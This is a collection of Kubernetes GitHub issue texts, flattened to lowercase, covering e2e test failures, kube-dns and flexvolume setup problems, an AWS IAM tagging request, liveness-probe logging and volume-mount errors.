https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod/2388/ multiple broken tests:  failed:  k8s.io  pods should contain environment variables for services  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:437 expected error:     < errors.errorstring | 0xc42038ad80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:67     issues about this test specifically:  33985   failed:  k8s.io  replicaset should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:81 expected error:     < errors.errorstring | 0xc42038ad80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:154     issues about this test specifically:  30981   failed:  k8s.io  replicaset should serve a basic image on each replica with a private image {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:88 expected error:     < errors.errorstring | 0xc42038ad80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:154     issues about this test specifically:  32023   failed:  k8s.io  services should work after restarting kube-proxy  disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:408 expected error:     < errors.errorstring | 0xc4231228c0>: {         s: \ only 2 pods started out of 3\ ,     }     only 2 pods started out of 3 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:370     issues about this test specifically:  29514  38288   failed:  k8s.io  replicationcontroller should serve a basic image on each replica with a private image {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:47 expected error:     < errors.errorstring | 0xc42038ad80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:140     issues about this test specifically:  32087   failed:  k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:314 each pod should start running and responding expected error:     < errors.errorstring | 0xc4223ce000>: {         s: \ failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition \ ,     }     failed to wait for pods running:  timed out waiting for the condition timed out waiting for the condition  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network_partition.go:261     issues about this test specifically:  37259   failed:  k8s.io  replicationcontroller should serve a basic image on each replica with a public image  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:40 expected error:     < errors.errorstring | 0xc42038ad80>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/rc.go:140     issues about this test specifically:  26870  36429   failed:  k8s.io  services should be able to up and down services {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:356 expected error:     < errors.errorstring | 0xc42310c8f0>: {         s: \ only 2 pods started out of 3\ ,     }     only 2 pods started out of 3 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:315     issues about this test specifically:  26128  26685  33408  36298   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025  previous issues for this suite:  37794  39046  39885

i doubt anybody will get any value out of the template for a documentation issue, but just in case, here it is.\r \r   kubernetes version  :\r  client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-18t10:52:03z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-18t10:52:03z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r \r   environment  :\r -   cloud provider or hardware configuration  :  on-prem, single box  for now , i5-4570t, 16gb ram, 256gb ssd setup with lvm.  docker's devicemapper setup to utilize lvm.\r -   os    e.g. from /etc/os-release :   pretty_name=\ fedora 25  server edition \  \r -   kernel    e.g.  uname -a  :  linux virt02.home.quadra-tec.net 4.9.13-201.fc25.x86_64  1 smp tue mar 7 23:47:11 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :  i don't know what this means.   dnf ?\r -   others  :\r \r   what happened  :\r i am trying to set up kube-dns.  i've spent two days looking through swathes of kubernetes docs and googling, and i am _still_ unable to do so.  i _think_ i've finally arrived at kube-dns being unable to authenticate with kube-apiserver, but there is no documentation about passing any kind of token, credentials, or other secret to the kube-dns pod.  i doubt that hardcoding a secret into my replicationcontroller definition file is the way to go.\r \r i'd love to deploy it using the addon manager, but the documentation for that  appears to be build instructions  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/addon-manager/readme.md  and doesn't give so much as a _hint_ about deploying it.\r \r   what you expected to happen  :\r i expect configuration and usage of these tools to be well-documented.\r \r   how to reproduce it    as minimally and precisely as possible :\r try to setup kubernetes on fedora 25, following the  install guide  https://kubernetes.io/docs/getting-started-guides/fedora/fedora_manual_config/ , with kube-dns - the only useful documentation for which i was able to find  on the coreos website  https://coreos.com/kubernetes/docs/latest/deploy-addons.html deploy-the-dns-add-on \r \r   anything else we need to know  :\r i can include log messages or other information, if desired, but i'm not really here for troubleshooting help, i'm here to report documentation issues.\r

\r attach_detach_controller_test.go:275: waiting for the volumes to attach/detach timed out: attached 2  expected 3 ; detached 5  5 \r    \r \r see https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/44755/pull-kubernetes-unit/27264/ for details\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  @kubernetes/sig-aws-feature-requests\r  \r   what happened  :\r in k8s 1.7, when creating a service of type loadbalancer, k8s creates the elb and a security group for it. for these resources, it adds a tag, constructed dynamically, containing the cluster id: \ kubernetes.io/cluster/${cluster_id}\  with the value \ true\  \r \r   what you expected to happen  :\r we'd like to have also a statically named tag , as it was in 1.5  \ kubernetescluster\   with the value of the cluster id.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r running on aws cloud provider, create a service of type loadbalancer.\r \r   anything else we need to know?  :\r the reason for what we expect is that we have tight security constraints that require us to fine tune the iam policies for the instance profiles that the controllers use.   \r with a statically named tag we were able, in 1.5, to restrict the permissions in the iam policy to act only on the k8s managed resources  elbs, security groups . here is the relevant part of the iam policy:\r    \r          - action:\r             - ec2:authorizesecuritygroupingress\r             - ec2:deletesecuritygroup\r             - ec2:revokesecuritygroupingress\r             effect: allow\r             resource:\r             - \  \ \r             condition:\r               stringlike:\r                 ec2:resourcetag/kubernetescluster: \  \ \r    \r with a dynamically named tag we are not able to do this any more as aws iam doesn't support something like:\r    \r condition:\r   stringlike:\r      kubernetes.io/cluster/ : \  \ \r     \r we are sharing the instance profiles among different k8s clusters, hence the \  \  in the value of the tag.\r   environment  :\r - kubernetes version  use  kubectl version  :\r     \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4+coreos.0\ , gitcommit:\ 4bb697e04f7c356347aee6ffaa91640b428976d5\ , gittreestate:\ clean\ , builddate:\ 2017-08-22t08:43:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1465.8.0\r version_id=1465.8.0\r build_id=2017-09-20-2237\r pretty_name=\ container linux by coreos 1465.8.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    linux ip-xxxxxxxxx.eu-west-1.compute.internal 4.12.14-coreos  1 smp wed sep 20 22:20:05 utc 2017 x86_64 intel r  xeon r  cpu e5-2666 v3 @ 2.90ghz genuineintel gnu/linux   \r - install tools: kube-aws\r - others:\r

is this a bug report or feature request?  :\r   \r listing this as a bug since it's not a feature.\r \r the following if-block, for feature-gate guard, in func  probeexpandablevolumeplugins  should be removed all together since the csi plugin type does not implement expandablevolumeplugin interface:\r \r https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-controller-manager/app/plugins.go l109

we have noticed few months ago that this test flaked again https://github.com/openshift/origin/issues/12072 issuecomment-335311564 \r \r  opening this issue again to start dicussion on the test.\r \r following are my observations after going through history and logs :\r - we are bringing up a nginx container and trying to check if <container_ip:80> is available.\r  - while this is not a bad idea, there are many things that could go wrong because of which nginx may not come to running. some of them could be related to underlying infrastructure on which we have no control over, some could be related to network plugin being used etc. some were mentioned in kubernetes/kubernetes 30714  comment  as well.\r     for example, the latest one failed with dial tcp 10.128.1.69:80: getsockopt: no route to host. this could be related to network setup as well.\r -   this makes the test indeterministic and therefore flaky.\r \r since the goal this test is to check that a good container won't restart based on liveness probe, would it make sense to add a liveness command that checks for the existence of a particular directory that was created during container start up or something else instead of a http get.\r \r  cc @random-liu \r

is this a bug report or feature request?  :\r \r  \r there are 3 tests that are currently failing since 10.30 yesterday: \r \r 1. https://k8s-testgrid.appspot.com/sig-cli-master gke  sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-sig-cli/2681 \r 2. https://k8s-testgrid.appspot.com/sig-cli-master gke-serial  sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-serial-sig-cli/3582 \r 3. https://k8s-testgrid.appspot.com/sig-cli-master skew-cluster-latest-kubectl-stable1-gke  sample failure https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-master-new-gci-kubectl-skew/9130 \r \r they all suffer from gke problems: \r \r    \r error creating cluster: error during gcloud container clusters create --quiet --project=k8s-gke-upg-g1-4-g1-6-up-clu-n --zone=us-central1-c --machine-type=n1-standard-2 --image-type=gci --num-nodes=3 --network=bootstrap-e2e --cluster-version=1.12.0-alpha.0.846+c178c7fd65fd16 bootstrap-e2e: exit status 1\r

is this a bug report or feature request?  :\r  \r   what happened  :\r a deployment's status does not match with what the corresponding replicaset/pods are showing. \r \r   what you expected to happen  :\r i would expect to see the same results for both. \r \r deployment status, notice only 2 ready replicas:\r    \r kubectl get deploy myapp -o yaml\r ...\r ...\r status:\r   availablereplicas: 2\r   conditions:\r   - lasttransitiontime: 2018-06-19t20:27:06z\r     lastupdatetime: 2018-06-20t19:48:02z\r     message: replicaset \ myapp-57fd8fcd99\  has successfully progressed.\r     reason: newreplicasetavailable\r     status: \ true\ \r     type: progressing\r   - lasttransitiontime: 2018-07-26t02:45:13z\r     lastupdatetime: 2018-07-26t02:45:13z\r     message: deployment has minimum availability.\r     reason: minimumreplicasavailable\r     status: \ true\ \r     type: available\r   observedgeneration: 4\r   readyreplicas: 2\r   replicas: 3\r   unavailablereplicas: 1\r    \r \r replicaset:\r    \r kubectl get rs myapp-57fd8fcd99 -o yaml\r ...\r ...\r status:\r   availablereplicas: 3\r   fullylabeledreplicas: 3\r   observedgeneration: 3\r   readyreplicas: 3\r   replicas: 3\r    \r \r pods:\r    \r kubectl get po -l 'app=myapp'\r name                                      ready     status    restarts   age\r myapp-57fd8fcd99-75g2c   1/1       running   0          10d\r myapp-57fd8fcd99-bfwtb   1/1       running   2          69d\r myapp-57fd8fcd99-lql8n   1/1       running   4          69d\r    \r \r  real application name was replaced with \ myapp\  \r \r   how to reproduce it  as minimally and precisely as possible   :\r unfortunately, this is something that started to happen unpredictably ever since our cluster was upgraded to v1.11 \r \r   anything else we need to know?  :\r i ran through the changelog from v1.10 -> v1.11 and these are the changes that may be relevant:\r https://github.com/kubernetes/kubernetes/pull/61367\r https://github.com/kubernetes/kubernetes/pull/61419\r https://github.com/kubernetes/kubernetes/pull/61615\r \r another thing to note is that the deployment wasn't updated since we last upgraded the cluster but 1 of the pods were recreated after the upgrade. \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r    \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

genericetcd  abstracts a key value store, but it does not transform the errors returned  which are needed by callers :          if err := e.storage.create key, obj, out, ttl ; err != nil {         err = etcderr.interpretcreateerror err, e.endpointname, name          err = rest.checkgeneratednameerror e.createstrategy, err, obj          return nil, err     }      and           if err := e.storage.get key, obj, false ; err != nil {         return nil, etcderr.interpretdeleteerror err, e.endpointname, name      }      are examples where lower level errors are converted to higher level conditions  because we get before deleting to check certain conditions .  callers still have to handle etcd errors today.     in general:  our higher level kv abstraction is really  genericetcd , so  storage.interface  is only useful in the context that it provides the primitives  genericetcd  needs.  having  storage.interface  support base kv primitives is great, but the granularity of the  storage.interface  should be matched to  genericetcd   or generickv .  an example is guaranteed update - a store that has a built in patch primitive like mongodb or can do js on the server side would be _better_ at implementing the genericetcd.update logic than  storage.interface guaranteedupdate  - so there is no point in having a lowest common denominator storage interface that makes a hypothetical generic kv impl slower than our generic etcd.  /rant

with more people trying to run apache flink  1  as better distributed platform for streaming and batch, i think it will be great to add example to deploy flink cluster on kubernetes.  it is already support deployment on yarn  2 , google cloud  3 , and apache mesos pending pr  4    1  http://flink.apache.org/  2  https://ci.apache.org/projects/flink/flink-docs-release-0.9/setup/yarn_setup.html  3  https://ci.apache.org/projects/flink/flink-docs-release-0.9/setup/gce_setup.html  4  https://github.com/apache/flink/pull/948

hello,  we are looking to utilize kubernetes on aws within an existing vpc, subnet, and routing table.  these items are configured to work within a larger vpn, but provide full access to internal services, as well as the public internet.  currently, i have modified the  kube-up.sh  script to utilize these components, and not create any of the resources as  kube-up  currently does, including the routing table.  the instances start up but i am observing issues getting all of the components properly configured.  in chatting with @justinsb, this is outside of the expected kube-up path and i was hoping to get some guidance on how this can be accomplished  or have this incorporated in a future version , even if i need to fork the script  which we've already done .  adding any values to the routing table _could_ be a possibility but i am hoping that is not necessary and we can align with a current route.    kube-apiserver    failed to list  api.node: 501: all the given peers are not reachable  failed to propose on members  http://127.0.0.1:4001  twice  last error: get http://127.0.0.1:4001/v2/keys/registry/minions?quorum=false&recursive=true&sorted=true: dial tcp 127.0.0.1:4001: connection refused    0  i0229 22:27:08.826404       8 logs.go:40  http: tls handshake error from 10.178.155.18:44214: eof      kube-controller    routecontroller.go:52  couldn't reconcile node routes: error listing routes: unable to find route table for aws cluster: kubernetes     routing table        10.178.152.0/22 local  0.0.0.0/0 igw-xxxxx  10.0.0.0/8 vgw-xxxxxxxx  10.255.0.0/22 pcx-xxxxxxxx

if your git repo has some largish entries in the past, cloning the whole repo can take a while. it would be nice if there was an option to specify history depth to speed up checkouts.

from  29437 comment. we may have potential for delete-create-delete race in the node controller because we don't check pod uid.  basically node controller needs to precondition pod deletion against pod uid. @smarterclayton ptal.

https://github.com/kubernetes/kubernetes/blob/master/docs/devel/api_changes.md  the document makes several mentions of paths which no longer exist in the source tree. for example:  > the struct definitions for each api are in  pkg/api/<version>/types.go . edit those files to reflect the change you want to make. note that all types and non-inline fields in versioned apis     must be preceded by descriptive comments - these are used to generate documentation. comments for types should not contain the type name; api documentation is generated from these comments and end-users should not be exposed to golang type names.  also,   >  pkg/api/<version>/conversion.go  containing manually written conversion functions >  pkg/api/<version>/conversion_generated.go  containing auto-generated conversion functions >  pkg/apis/extensions/<version>/conversion.go  containing manually written conversion functions >  pkg/apis/extensions/<version>/conversion_generated.go  containing auto-generated conversion functions  these have since moved to apis/.... the doc needs to be updated to reflect this.

clusterinfo_dump.go  uses discrete  list  operations to find whitelisted resources.  given the rate at which new resource are added, it probably makes sense to keep a backlist and just use discovery to walk the set of namespace scoped resources to print.  @kubernetes/kubectl this hurts us for adding new resources and having our commands work.

to catch as many violations of api conventions as we can automatically.\r \r https://github.com/kubernetes/community/blob/master/contributors/devel/api-conventions.md\r \r cc @kubernetes/sig-api-machinery-misc  hmm, no feature-requests team

feature request\r   kubernetes version  :\r gitversion:\ v1.6.2\ \r \r   environment  :\r google container engine\r \r   what happened  :\r various issues getting the url / timeout etc params correct for the deployment  also see https://github.com/kubernetes/kubernetes/issues/29470 or https://github.com/kubernetes/kubernetes/issues/29470 \r very long debug cycle.\r right now the only messages one can get out of the system  e.g. with  kubectl describe  or using  kubectl proxy  are along the lines of:\r    \r killing container with id docker://70a8xxx:pod \ my-pod-3965xxx_my-namespace 9b28710e-xxx \  container \ my-container\  is unhealthy, it will be killed and re-created.\r    \r for the httpget endpoint, errors might be  as a small example - there are probably more! :\r - 404/500 / other non-200 ok response from server\r - probe request timeout  server took too long \r - wrong schema, so can't make connection\r - wrong host, so can't make connection\r - wrong port, so can't make connection\r \r _but which one was it?_\r \r using  kubectl exec -ti ...  to get in to the pod and try the liveness probe directly does not necessarily help with debugging because it does not take in to account how kubernetes interprets the deployment configuration  i.e. intention != outcome .\r \r   what you expected to happen  :\r kubernetes should log more detailed messages when choosing to kill a pod  which is a fairly drastic action to be taking .\r as an example, a minimum, sufficient solution could be an 'error' object included in the logs. \r  container \ my-container\  is unhealthy  livenessprobe.httpget: {status: 404}  \r  container \ my-container\  is unhealthy  livenessprobe.httpget: {timeout: 3.348}  \r presumably a new/different data container or log message is additionally needed to allow programmatic use.\r \r   how to reproduce it    as minimally and precisely as possible :\r apply a httpget liveness probe to a pod with various failure modes  404, 500, request timeout etc .\r https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/ defining-a-liveness-http-request\r \r   anything else we need to know  :\r raised against kubernetes - if this behaviour is already implemented and just needs exposing that's great! in which case this ticket can move to kubectl.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r flexvolume nfs\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : virtualbox\r -   os    e.g. from /etc/os-release : centos 7.3\r -   kernel    e.g.  uname -a  : linux master 3.10.0-514.16.1.el7.x86_64\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r the flexvolume nfs example doesn't work. i've noticed a bug with  getvolumename  and hence removed the implementation. \r \r kubelet gives the following log. \r by adding traces into the shell script  using  logger   and i noticed that only  init    was called.\r \r    \r jun  7 14:15:17 node1 kubelet: w0607 14:15:17.482243    2267 plugin-defaults.go:32  flexvolume driver k8s/nfs: using default getvolumename for volume 0x5b0380\r jun  7 14:15:17 node1 kubelet: i0607 14:15:17.968999    2267 reconciler.go:231  verifycontrollerattachedvolume operation started for volume \ k8s/nfs/flex002\   spec.name: \ flex002\   pod \ ad2d1540-4b48-11e7-996e-080027632f89\   uid: \ ad2d1540-4b48-11e7-996e-080027632f89\  \r jun  7 14:15:17 node1 kubelet: e0607 14:15:17.969123    2267 nestedpendingoperations.go:262  operation for \ \\\ k8s/nfs/flex002\\\ \  failed. no retries permitted until 2017-06-07 14:15:18.969101889 +0800 hkt  durationbeforeretry 1s . error: volume \ k8s/nfs/flex002\   spec.name: \ flex002\   pod \ ad2d1540-4b48-11e7-996e-080027632f89\   uid: \ ad2d1540-4b48-11e7-996e-080027632f89\   has not yet been added to the list of volumesinuse in the node's volume status\r jun  7 14:15:18 node1 kubelet: i0607 14:15:18.982262    2267 reconciler.go:231  verifycontrollerattachedvolume operation started for volume \ k8s/nfs/flex002\   spec.name: \ flex002\   pod \ ad2d1540-4b48-11e7-996e-080027632f89\   uid: \ ad2d1540-4b48-11e7-996e-080027632f89\  \r jun  7 14:15:18 node1 kubelet: e0607 14:15:18.982313    2267 nestedpendingoperations.go:262  operation for \ \\\ k8s/nfs/flex002\\\ \  failed. no retries permitted until 2017-06-07 14:15:20.982301785 +0800 hkt  durationbeforeretry 2s . error: volume \ k8s/nfs/flex002\   spec.name: \ flex002\   pod \ ad2d1540-4b48-11e7-996e-080027632f89\   uid: \ ad2d1540-4b48-11e7-996e-080027632f89\   has not yet been added to the list of volumesinuse in the node's volume status\r jun  7 14:15:21 node1 kubelet: i0607 14:15:21.000292    2267 reconciler.go:231  verifycontrollerattachedvolume operation started for volume \ k8s/nfs/flex002\   spec.name: \ flex002\   pod \ ad2d1540-4b48-11e7-996e-080027632f89\   uid: \ ad2d1540-4b48-11e7-996e-080027632f89\  \r jun  7 14:15:21 node1 kubelet: e0607 14:15:21.002636    2267 nestedpendingoperations.go:262  operation for \ \\\ k8s/nfs/flex002\\\ \  failed. no retries permitted until 2017-06-07 14:15:25.002617865 +0800 hkt  durationbeforeretry 4s . error: volume \ k8s/nfs/flex002\   spec.name: \ flex002\   pod \ ad2d1540-4b48-11e7-996e-080027632f89\   uid: \ ad2d1540-4b48-11e7-996e-080027632f89\   is not yet attached according to node status\r jun  7 14:15:25 node1 kubelet: i0607 14:15:25.035581    2267 reconciler.go:231  verifycontrollerattachedvolume operation started for volume \ k8s/nfs/flex002\   spec.name: \ flex002\   pod \ ad2d1540-4b48-11e7-996e-080027632f89\   uid: \ ad2d1540-4b48-11e7-996e-080027632f89\  \r jun  7 14:15:25 node1 kubelet: e0607 14:15:25.039820    2267 nestedpendingoperations.go:262  operation for \ \\\ k8s/nfs/flex002\\\ \  failed. no retries permitted until 2017-06-07 14:15:33.039799967 +0800 hkt  durationbeforeretry 8s . error: volume \ k8s/nfs/flex002\   spec.name: \ flex002\   pod \ ad2d1540-4b48-11e7-996e-080027632f89\   uid: \ ad2d1540-4b48-11e7-996e-080027632f89\   is not yet attached according to node status\r    \r \r   what you expected to happen  :\r  init   -> domount    are called and volume successfully mounted into the pod.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r install the plugin in  /usr/libexec/kubernetes/kubelet-plugins/volume/exec/k8s~nfs/nfs  and use the following spec to create a pod\r    \r \r apiversion: v1\r kind: pod\r metadata:\r   name: nginxnfs\r   namespace: default\r spec:\r   containers:\r   - name: nginxnfs\r     image: nginx\r     volumemounts:\r     - name: flex002\r       mountpath: /data2\r     ports:\r     - containerport: 80\r   volumes:\r   - name: flex002\r     flexvolume:\r       driver: \ k8s/nfs\ \r       fstype: \ nfs\ \r       options:\r         server: \ 172.20.0.1\ \r         share: \ /data/nfs-k8s\ \r    \r \r \r   anything else we need to know  :\r \r

 \r   what happened  :\r i could not use a csi driver from a pod directly, but have to use a pv.\r \r   what you expected to happen  :\r i was expecting to be able to use a csi driver directly in a pod\r \r   anything else we need to know?  :\r the use case i'm trying to implement is: https://github.com/kubernetes-csi/drivers/issues/85\r \r i have the driver working from the csi perspective. but when i went to hook it into kubernetes, i ran into an issue. for the use case, the pod writer should be able to specify the image to use directly, rather then having an administrator need to create a pv with the image specified.\r \r @saad-ali @lpabon

what happened  :\r there are tests in here errantly listed as   conformance    ref: https://github.com/kubernetes/kubernetes/pull/67084 ; they aren't actually run as part of conformance.  they need to be moved to test/e2e/common to be included.  feedback on the linked issue is that we can port the whole file over.\r \r would like advice from @wangzhen127 on how to do deal with things that may not port over cleanly. eg: i don't think  this case  https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/runtime_conformance_test.go l343-l348  can be ported because it expects to be able to write to a file directly on the node.\r \r i think everything else can be ported over.  the  conformancecontainer  will need to come over for this, i'm not sure what the best way to do that would be.  drop somewhere in test/e2e/framework?\r \r   /assign @mgdevstack @mkurylec \r /cc @wangzhen127 \r /cc @timothysc

looks like csi volume limit test is flaking.\r \r https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-alpha-enabled-default/7355\r \r  /assign\r

greetings all. i'm running my cluster on the gke and after upgrading to  1.3.3  i've been having errors of the following format:  > events: >   firstseen lastseen    count   from                            subobjectpath   type        reason          message > --- >  >   8m        4m      20  {default-scheduler }                            warning     failedscheduling    no nodes available to schedule pods >   3m        3m      1   {default-scheduler }                            normal      scheduled       successfully assigned mongodb-321322295-mnmo7 to gke-test-cluster-default-pool-f56cf9ee-f2kb >   1m        1m      1   {kubelet gke-test-cluster-default-pool-f56cf9ee-f2kb}           warning     failedmount     unable to mount volumes for pod \ mongodb-321322295-mnmo7_dev 20c985df-5882-11e6-ac8b-42010af00014 \ : timeout expired waiting for volumes to attach/mount for pod \ mongodb-321322295-mnmo7\ /\ dev\ . list of unattached/unmounted volumes= mongodb-data  >   1m        1m      1   {kubelet gke-test-cluster-default-pool-f56cf9ee-f2kb}           warning     failedsync      error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ mongodb-321322295-mnmo7\ /\ dev\ . list of unattached/unmounted volumes= mongodb-data   evidently, that's not something specific to  mongodb-data  volume. i get these same errors for other volumes too  majority of them are secrets . i'm anticipating the possibility of upgrading to  1.3.4  release on gke as i've read that it possibly resolves the problem but it's not available yet.  but for now i'd like to know if there're some workarounds/hacks for the problem that could allow me to continue deploying my services?  also, huge thanks to the whole kubernetes community. you're awesome 🖖🏻

hi,  i believe i've hit an selinux issue but i'm not sure how to solve it. i'm using the fabric8/gogs image to run gogs in a container and i'd like to persistent the folder containing all the .git folders. to do this i'm mounting /opt/gogs within the container to an nfs share.  however the container fails to create any folders within /opt/gogs returning a permission denied error of the form      mkdir /home/opt/gogs/repos/apiuser: permission denied      it worked perfectly the moment i removed the mount but now i have no data persistence. also, i can't get the gogs container to wait for mysql within the same pod to start before it enters fatal and dies, but that's a different issue.

